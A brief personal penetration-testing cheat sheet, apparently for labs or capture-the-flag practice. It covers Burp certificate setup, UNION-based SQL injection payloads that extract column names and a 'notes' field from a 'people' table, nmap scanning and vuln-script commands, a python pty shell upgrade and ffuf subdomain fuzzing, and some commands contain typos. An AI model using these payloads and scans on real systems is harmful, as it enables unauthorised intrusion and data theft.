Proxying HTTPs:

Navigate to http://burp/cert
In firefox type: about:preferences
Search for certificates
Then click View Certificates
Import cacert.der (Given from http://burp/cert). Make sure to select “Trust this CA to identify websites”

SQL Injecctions:

UNION ALL SELECT …
Use this to pull column names from an entire table (Change to fit current usecase):

```
/about/0 UNION ALL SELECT column_name,null,null,null,null FROM information_schema.columns WHERE table_name="people"
```

Another example to pull data:

```
0 UNION ALL SELECT notes,null,null,null,null FROM people WHERE id = 1
```

Make sure to run login requests through Sequencer to gauge the level of randomness

Nmap commands:

```
Nmap -sL ipaddr
Nmap -sL 10.10.12.13/29
```

```
sudo nmap -A -sC -sV -p- 255.255.255.255
nmap -p- -sC -sV --script vuln
```

Useful commands:

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -u http://websitename.here/ -H "Host:FUZZ.websitename.here" fs -number
```